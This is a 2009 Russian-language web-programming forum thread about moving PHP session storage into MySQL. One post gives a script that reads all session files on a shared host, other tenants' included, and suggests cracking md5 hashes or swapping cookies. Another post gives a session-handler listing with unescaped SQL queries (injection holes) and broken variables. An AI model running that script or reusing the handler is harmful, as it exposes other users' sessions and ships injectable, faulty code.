Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » Как записывать данные сессий php в MySQL?

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки

Открыть новую тему     Написать ответ в эту тему

delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Стандартное место хранения сессий- в файлах на сервере. Однако их легко может прочитать любой другой сосед по хосту. Как записывать сессии в MySQL?

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 20:07 06-04-2009
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
delfinans

Цитата:
Как записывать сессии в MySQL?

так и записывать..  
www.php.net/serialize
www.php.net/unserialize

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 20:10 06-04-2009
andead



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Однако их легко может прочитать любой другой сосед по хосту

каким образом?)

Всего записей: 1821 | Зарегистр. 22-09-2005 | Отправлено: 20:38 06-04-2009
delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Спасибо за ответ. Да есть скриптик для этого. Но он у меня на ноуте, а ноут будет завтра. Обязательно напишу завтра.

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 21:07 06-04-2009
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
delfinans
ну не хотите в "общих" файлах хранить - www.php.net/session_save_path

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 05:01 07-04-2009
delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Добрый вечер! Обещал вчера рассказать, как извлекать чужие сессии.
 
Дело в том, что все сессии на вебсервере хранятся в одной папке, которая доступна для чтения/записи любому пользователю. Их можно запросто прочитать при помощи того же PHP скрипта. Этот скрипт прочитает все сессии, хранящиеся в данный момент на сервере и выведет их в более-менее удобочитаемой форме:
<code><?php
 
// Функция форматирования данных сессии, unserialize() не работает.
 
function sess_format($data)
 
{
 
        $result = str_replace(';', '</dd><dt>', $data);
 
        $result = str_replace('|', '</dt><dd>', $result);
 
        $result = '<dt>'.$result.'</dt>';
 
        return $result;
 
}
 
 
// Извлекам путь к папке сессий
 
$sess_dir = ini_get('session.save_path');
 
if(empty($sess_dir)) $sess_dir = $_ENV['TEMP'];
 
 
// На ходу извлекаем все сессии
 
$dp = opendir($sess_dir);
 
chdir($sess_dir);
 
while($file = readdir($dp))
 
{
 
        if(eregi('^sess_', $file))
 
        {
 
                // Извлекаем идентификатор
 
                $sess_id = substr($file, strpos($file, '_')+1, strlen($file) - strpos($file, '_'));
 
                // Открываем файл и читаем данные в строку
 
                $fp = fopen($file, 'r');
 
                $sess_data = '';
 
                while(!feof($fp)) $sess_data .= fgetc($fp);
 
                fclose($fp);
 
                // Выводим результаты
 
                echo "<b>---------------- $sess_id ----------------</b><br />\r\n";
 
                echo "<dl>\r\n";
 
                echo sess_format($sess_data);
 
                echo "</dl>\r\n";
 
echo "<b>-----------------------------------------
 
------------------------------------------</b><br /><br />\r\n";
 
        }
 
 
}
 
closedir($dp);
 
?></code>
 
Все логины, пароли и прочее тут же выползут наружу. Даже если данные хранятся
 в зашифрованном виде, то можно использовать хэши при помощи соответствующих форм (а для некоторых алгоритмов, например для md5, существуют дешифраторы) или использовать подмену Cookie. Единственная сложность - трудно выяснить, от какого же сайта данная сессия.
 
Таким образом, ваши соседи по хостингу представляют потенциальную угрозу безопасности (впрочем, как и вы для них). Обычно даже при использовании виртуальных хостов сессии всех пользователей хранятся в одной папке (чаще всего "/tmp"). Даже если у каждого клиента имеется своя temprorary папка, то злоумышленник, зная путь к своей папке, легко вычислит полный путь до вашей.
 
Что делать для защиты? Во-первых, шифровать важные данные (логин и пароль, например). Ни для кого не секрет, что большинство скриптов хранят пароли в сессиях открытым текстом! Ну а во-вторых, что всех лучше, можно заместить стандартный механизм сессий, благо в PHP есть такая возможность.

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 22:36 07-04-2009
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
delfinans
http://phpsec.org/projects/guide/5.html
 
 

Цитата:
Что делать для защиты?

например

Цитата:
ну не хотите в "общих" файлах хранить - www.php.net/session_save_path

 
а еще лучше - попросить хостера установить suPHP

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 22:42 07-04-2009
delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Сейчас напишу. А, кстати, как писать теги для отображения кода? Я думал <code>
</code> , а не получилось.

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 22:44 07-04-2009
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
А, кстати, как писать теги для отображения кода?  

Ссылка на коды внизу, над кнопкой отправить.
плюс слева от поля ввода есть круглая пимпа.

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 22:48 07-04-2009
andead



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
проверил на трёх шаред хостингах:
nic.ru - белый экран
rbk.ru - error страница хостера
zenon.net - ошибки что дира закрыта на чтение
 
может проблема высосана из пальца?

Всего записей: 1821 | Зарегистр. 22-09-2005 | Отправлено: 23:04 07-04-2009 | Исправлено: andead, 23:05 07-04-2009
delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Замещаем механизм сессий в PHP.
 
Для замещения стандартного механизма сессий в PHP предусмотрена функция session_set_save_handler(). Базовый ее прототип выглядит так:

Код:
bool session_set_save_handler(string open, string close, string read, string write,
 
string destroy, string gc)

 
В качестве аргументов передаются имена функций-заместителей. В случае использования ОО класса нужно передавать массивы: array('ClassName', 'method_name').
 
Наиболее удобным способ хранения данных сессий - использование БД. Во-первых, это защищает данные от посторонних глаз (если вы не раздаете пароль от своей базы налево и направо, конечно же). А во-вторых, это дает вам дополнительные возможности, такие как подсчет числа online пользователей или же журналирования сессий.
 
В нашем примере для хранения данных мы будем использовать БД MySQL. Для работы нам понадобится простая таблица:
 
Листинг 3.2.2.1, SQL:

Код:
CREATE TABLE sessions
 
(
 
    session_id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
 
    create_ts DATETIME DEFAULT 'NOW()' NOT NULL,
 
    session_key VARCHAR(255) NOT NULL,
 
    session_data TEXT NOT NULL
 
);

 
Использовать объектно-ориентированный класс смыла не много, ведь он будет всего-навсего контейнером для статических методов. Поэтому применим функционально-ориентированную методологию. Регистрационную информацию лучше указать в неком файле config.php. В нем же мы установим параметр 'session.gc_probability', который устанавливает вероятность запуска сборщика мусора (он удаляет устаревшие сессии) в процентах, а также 'session.gc_maxlifetime', который устанавливает срок годности сессий в период бездействия пользователя в секундах. На случай использования промежуточного шифрования мы также укажем ключ шифрования.
 

Код:
<?php
 
// Сервер
 
define('DB_HOST', 'localhost');
 
// Имя пользователя
 
define('DB_USER', 'username');
 
// Пароль
 
define('DB_PASS', 'password');
 
// Имя базы
 
define('DB_NAME', 'test');
 
 
// Ключ для шифрования MCRYPT
 
define('MCRYPT_CRYPT_KEY', 'my super secret key');
 
 
// Вероятность запуска сборщика мусора
 
ini_set('session.gc_probability', 100);
 
// Срок годности сессии при отсутствии активности пользователя
 
ini_set('session.gc_maxlifetime', 1440); // 15 минут
 
?>

 
Теперь переходим непосредственно к написанию функций.  
 
Функция "open" открывает источник данных сессий. PHP автоматически передает ей два параметра: $save_path и $session_name. В нашем случае мы игнорируем оба аргумента, а функция sess_open() будет создавать глобальное подключение к базе данных, если таковое еще не создано.
 
Листинг 3.2.2.3, PHP:
 

Код:
function sess_open($save_path, $session_name)
 
{
 
    global $db;
 
    if(!is_resource($db)) $db = mysql_connect(DB_HOST, DB_USER, DB_PASS);
 
    mysql_select_db(DB_NAME, $db);
 
    return true;
 
}

 
Функция "close" закрывает источник данных сессий и освобождает дополнительные ресурсы. У нас нет необходимости уничтожать какие-либо объекты или закрывать соединение с базой, поэтому мы оставляем ее почти пустой.
 
Листинг 3.2.2.4, PHP:

Код:
function sess_close()
 
{
 
    return true;
 
}

 
Функция "read" должна получить данные сессии из источника в виде строки. В качестве аргумента она принимает идентификатор сессии. Если вы хотите использовать промежуточную шифрацию данных сессии, то это именно то место, где нужно вставить вызов дешифрующей функции. В нашем примере закомментирован вызов соответствующей функции библиотеки MCrypt.
 
Листинг 3.2.2.5, PHP:

Код:
function sess_read($id)
 
{
 
    global $db;
 
    $data = mysql_result(mysql_query("SELECT session_data FROM sessions WHERE session_key = '$id'"));
 
    // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_DECRYPT);
 
    return $data;
 
}

 
Функция записи должна создать новую сессию или же обновить данные текущей, если она существует. Ей передается идентификатор сессии и, непосредственно, данные. В случае создания новой сессии мы должны использовать INSERT запрос, а в случае обновления - UPDATE. Поэтому сначала мы проверим, существует ли сессия с таким ключем. Шифрующий вызов, как и в предыдущей функции, оставлю закомментированным.
 
Листинг 3.2.2.6, PHP:

Код:
function sess_write($id, $data)
 
{
 
    global $db;
 
    // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_ENCRYPT);
 
    $num = mysql_result(mysql_query("SELECT COUNT(*) FROM sessions WHERE session_key = '$id'"));
 
    if($num == 1)
 
    {
 
  // Обновление существующей
 
  $sql = "UPDATE sessions SET session_data = '".mysql_real_escape_string($sess_data)."',
 
create_ts = NOW() WHERE session_id = $session_id";
 
    }
 
    else
 
    {
 
  // Создание новой
 
  $sql = "INSERT INTO sessions (create_ts, valid, session_key, session_data) VALUES (NOW(),
 
'yes', '". mysql_real_escape_string($id) ."', '". mysql_real_escape_string($sess_data) ."')";
 
    }
 
    mysql_query($sql);
 
    return true;
 
}

 
Для уничтожения сессии нам нужно удалить соответствующую строку таблицы. PHP передаст функции идентификатор той сессии, которую нужно удалить.
 
Листинг 3.2.2.7, PHP:

Код:
function sess_destroy($id)
 
{
 
    global $db;
 
    mysql_query("DELETE FROM sessions WHERE session_key = '$id'");
 
    return true;
 
}

 
В обязанности функции сборщика мусора входит удаление тех сессий, которыми никто не пользовался в течении установленного срока. Срок годности будет передан ей интерпретатором. Сам процесс мы осуществим всего-навсего одним SQL-запросом.
 
Листинг 3.2.2.8, PHP:

Код:
function sess_gc($maxlifetime)
 
{
 
    global $db;
 
    mysql_query("DELETE FROM sessions WHERE create_ts < DATE_ADD(now(), INTERVAL - $maxlifetime SECOND)");
 
    return true;
 
}

 
В заключение сообщаем интерпретатору, какие функции использовать для работы с сессиями.
 
Листинг 3.2.2.9, PHP:

Код:
session_set_save_handler('sess_open', 'sess_close', 'sess_read', 'sess_write', 'sess_destroy', 'sess_gc')
 
    or die('Error: couldn\'t register session handler');

 
Дополнительное приемущество нашего механизма заключается в том, что чтобы узнать число активных пользователей достаточно выполнить один SQL-запрос. Если вам нужны более точные данные, то нужно установить срок годности поменьше, чем стандартные 15 минут.
 
Листинг 3.2.2.10, SQL:

Код:
SELECT COUNT(*) FROM sessions

 
 
 
Это
 Форум на Исходниках.RU
       Системы, Сети, Технологии
         WWW Masters
           PHP, ASP, Perl, SSI, Java, Apache ... тема правда уже закрыта.
 
Добавлено:
Прошу прощения, что сразу не дал ссылку на эту страничку. Просто пришлось ее искать, она у меня сохранена. http://forum.sources.ru/index.php?showtopic=61988&st=15
Ну не знаю, может и высосана. Действительно, закрой папку с сессиями на чтение и все проблемы, но ведь хранить сессии в базе данных еще и очень удобно.
Пробовал я этот вариант. Вроде бы получилось, но была одна проблема.

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 23:16 07-04-2009 | Исправлено: delfinans, 23:55 07-04-2009
andead



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Ни для кого не секрет, что большинство скриптов хранят пароли в сессиях открытым текстом!

с ходу назовите хоть один такой скрипт? =) не представляю зачем вообще в сессии хранить пароли, они лежат либо в конфигах, либо в базе под хэшем

Всего записей: 1821 | Зарегистр. 22-09-2005 | Отправлено: 00:44 08-04-2009
delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
с ходу назовите хоть один такой скрипт? =) не представляю зачем вообще в сессии хранить пароли, они лежат либо в конфигах, либо в базе под хэшем

 Ну это да. А правда , что можно взломать хэш пароля, ведь одному хэшу может соответствовать несколько паролей?

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 22:13 08-04-2009
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
delfinans

Цитата:
ведь одному хэшу может соответствовать несколько паролей?

на то он и хэш, чтобы вероятность этого была очень мала


----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 22:17 08-04-2009
delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
А ведь можно захешировать пароль с последовательно с помощью нескольких алгоритмов, попробуй догадайся, что это за последовательность и какое количество алгоритмов
А вот скажите пожалуйста если у меня маленький вопрос можно его здесь задать или надо создавать отдельную тему, дабы не флудить?
 Ну, задам все-же здесь
 Почему запись
Код:
$arr=array(1,2,3,4,5);

 Неэквивалентна
Код:
$number=1,2,3,4,5;$arr=array($number);

 ?
 Передаю строку $number=1,2,3,4,5; из формы. Нужно поместить каждую цифру разделенную запятой в массив как это сделано в первой записи. Как это сделать?    

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 21:58 09-04-2009
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
delfinans

Цитата:
$number=1,2,3,4,5

такая запись невозможна в php
только в виде строки

Цитата:
Нужно поместить каждую цифру разделенную запятой в массив как это сделано в первой записи. Как это сделать?

split строку по запятой и объединить в массив целочисленные значения

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 22:00 09-04-2009
delfinans



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Да правда забыл кавычки в $number=1,2,3,4,5;  
Но это я для примера привел. В реальности 1,2,3,4,5 вводится в форму в поле соответствующее $_GET[number] . И в этой переменной последовательность цифр я думаю находится в виде строки?  
 
Добавлено:
Ну да строка. А, все разобрался.Спасибо за ответ! Вообще хороший у вас форум, быстро отвечают! Я вот еще по теме насчет хранения сессий спрошу. Но это завтра.Пока

Всего записей: 11 | Зарегистр. 02-04-2009 | Отправлено: 22:14 09-04-2009
Открыть новую тему     Написать ответ в эту тему

Компьютерный форум Ru.Board » Интернет » Web-программирование » Как записывать данные сессий php в MySQL?


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2025

LiteCoin: LgY72v35StJhV2xbt8CpxbQ9gFY6jwZ67r

Рейтинг.ru

Рейтинг.ru